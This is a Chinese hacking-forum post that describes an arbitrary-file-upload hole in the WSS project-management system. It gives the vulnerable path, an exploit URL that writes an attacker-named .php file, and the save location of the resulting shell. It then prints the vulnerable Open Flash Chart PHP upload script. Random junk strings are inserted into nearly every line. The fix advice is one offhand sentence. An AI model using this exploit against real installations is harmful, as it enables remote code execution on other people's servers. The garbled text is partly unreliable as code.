找回密码
 立即注册
查看: 2788|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
2 o5 N! J# [6 s! L, k( e% ~* O 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
6 r- ]; Z8 v6 N! J- h
3 C! D. r) K2 l$ r利用:0 P. ]' @( M/ [: r7 p
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名" l5 z) F9 J- g2 f5 A
8 a7 K0 v- f3 I5 e5 Y" A
Post任意数据
2 Q% C* \1 m3 g" W! [7 M: P保存位置http://localhost/chart/tmp-upload-images/hfy.php0 {8 {3 v/ D3 c# D: r- ^
/ A# N$ w9 E! e; t
: l" c5 f8 l& Q' I
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
2 z! {5 f* p- N& `+ M5 |
/ l6 h9 o6 B7 V% T1 r- j<?php5 E6 ?4 T; X  X, _' [+ W- n
. _+ g) h' ?' M
//
8 [. Y) X) \" P" {/ T+ u// In Open Flash Chart -> save_image debug mode, you$ i. p1 Y$ J1 b1 M
// will see the 'echo' text in a new window.
& O0 m" H' ~) Q//
4 M" s" g% I/ D* P: Z) d) m# j% \- o- i, s
/*2 S/ R" H* A9 _; k) k' P6 ]+ W1 {

; [! z( }2 ?6 c, U& _print_r( $_GET );6 m8 k6 Z3 i8 w1 s. a& Z
print_r( $_POST );
$ \7 O: i- V: g) t$ W" y# Wprint_r( $_FILES );0 n$ T. t' m  v( R7 ]- e
5 E0 z8 F/ `- r6 c8 b( X% I% r) w5 @
print_r( $GLOBALS );; _6 W/ i/ j. y& t1 U+ W
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
  L( e& s4 v2 y3 o" I& C* I8 L: x
) \' Y: ]9 C4 g% O" E) V*/
5 F+ O; ^" x+ E// default path for the image to be stored //
" f1 ~* G$ p( J( ^% l/ w1 @% }$default_path = '../tmp-upload-images/';( X; h# R% w5 W
$ o4 e7 H) h( C8 \1 ^  U
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
( s, J0 ^- w# o1 k2 a' X) v. J+ n4 v! K% H9 O
// full path to the saved image including filename //
5 o( H  N5 I8 O' ?# N* Q1 o2 R$destination = $default_path . basename( $_GET[ 'name' ] );
% L1 x. m5 Y, ~. F% k) O! c  Q, q& s; ]  m
echo 'Saving your image to: '. $destination;8 P' h# V) @0 q& z, f& |* w
// print_r( $_POST );) x4 p1 q0 K6 I2 p
// print_r( $_SERVER );' M9 W* C* g2 q7 N
// echo $HTTP_RAW_POST_DATA;
1 E7 ]2 q1 t; j! O  b9 p5 ~  p8 G8 T) }
5 H( ~6 f8 f3 ]2 R( J, [' i2 C# f//
2 P# I% Y0 ~) h4 H// POST data is usually string data, but we are passing a RAW .png( w- H  m6 C" ?$ S5 \/ U; R" g' E
// so PHP is a bit confused and $_POST is empty. But it has saved
0 ]- `0 p# U8 ~& ~// the raw bits into $HTTP_RAW_POST_DATA
6 `9 X8 {7 Q# f, d5 X6 \; P//8 S/ K1 p' w- L

0 C+ v# `8 t1 n  X. C& \" A$jfh = fopen($destination, 'w') or die("can't open file");& C% U, C& r5 x% n3 L* D, o
fwrite($jfh, $HTTP_RAW_POST_DATA);
& G  k0 a# Q5 K; R: Lfclose($jfh);4 w. O3 K) Z- d# q4 o9 E9 i4 I. ^

; B5 K- P  F+ p! u$ r, o( m' @( A//+ M4 g' ^& t6 h; [+ R
// LOOK:
  O! Q& E' S' O' P//. J& G& ^  c! R: U( F
exit();
* Y' O: e& i( f+ Q# i4 H' M( |4 V3 `//
0 ?* p+ J6 z6 T) i- m6 w5 `- E// PHP5:* B, I! j+ l" l" c) f
//
2 k5 J+ D8 v) g
" K  h* L& s$ X# o5 v9 ?9 E5 N1 L3 E, f: o8 G. ]) l4 z8 `' p
// default path for the image to be stored //
! |* Z; e* ^" l0 v4 m: \! S$default_path = 'tmp-upload-images/';7 ]4 H# C6 X/ ~1 d6 I$ y6 U

4 @' E  a. ?% v3 e% `  s5 dif (!file_exists($default_path)) mkdir($default_path, 0777, true);8 e' ]' x9 _+ `
& Q9 G- m2 a! m! T% U' r
// full path to the saved image including filename //5 u. X8 u2 l( n5 d; o
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
! b) p% o9 J: ^" @) X! T+ @$ l# e  y8 L/ s) T
// move the image into the specified directory //  t5 g  H; K, ]1 j% V2 J
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
" G5 Z. ~  B/ E. F    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";2 }; W! G8 C! y  J5 t6 K
} else {
5 D1 g! I" h% _* w8 C7 d- w    echo "FILE UPLOAD FAILED";6 @! _. I" Z/ i, G' ?
}
/ J4 K" ^8 Y' `( p; A0 ^" L* y3 ]/ |0 H! A- V+ ]( _) w0 p
! N7 Q; |, N; L) u' Q# q0 k
?>7 H; O/ p6 u( k+ A& ~
! _6 S6 N! s/ {7 w) Q

# H$ ^4 B% O6 A+ F2 d4 L! W7 |1 r9 u- n$ t% i) }+ p# G

. Q, o4 w$ r( j  a1 J0 _1 G  y$ n  X2 K
2 L5 B/ g' c" S! I6 V& B$ i: H" {5 d3 O% E9 g9 R" ]
修复方案:
* }, P/ P' E! i" s0 _这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 7 C  |* ^9 K9 U3 Y$ S. _# f' d  P" O
9 C$ `5 z+ A; D9 d/ c: u- d% @9 c& M" i

! ^9 D8 _0 v' Y. p* `6 \" L2 ^& O/ [" U7 P/ w6 m! s' ]  R) Q  D% H$ J  X
- w6 o# |' k5 J9 \2 \4 ~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表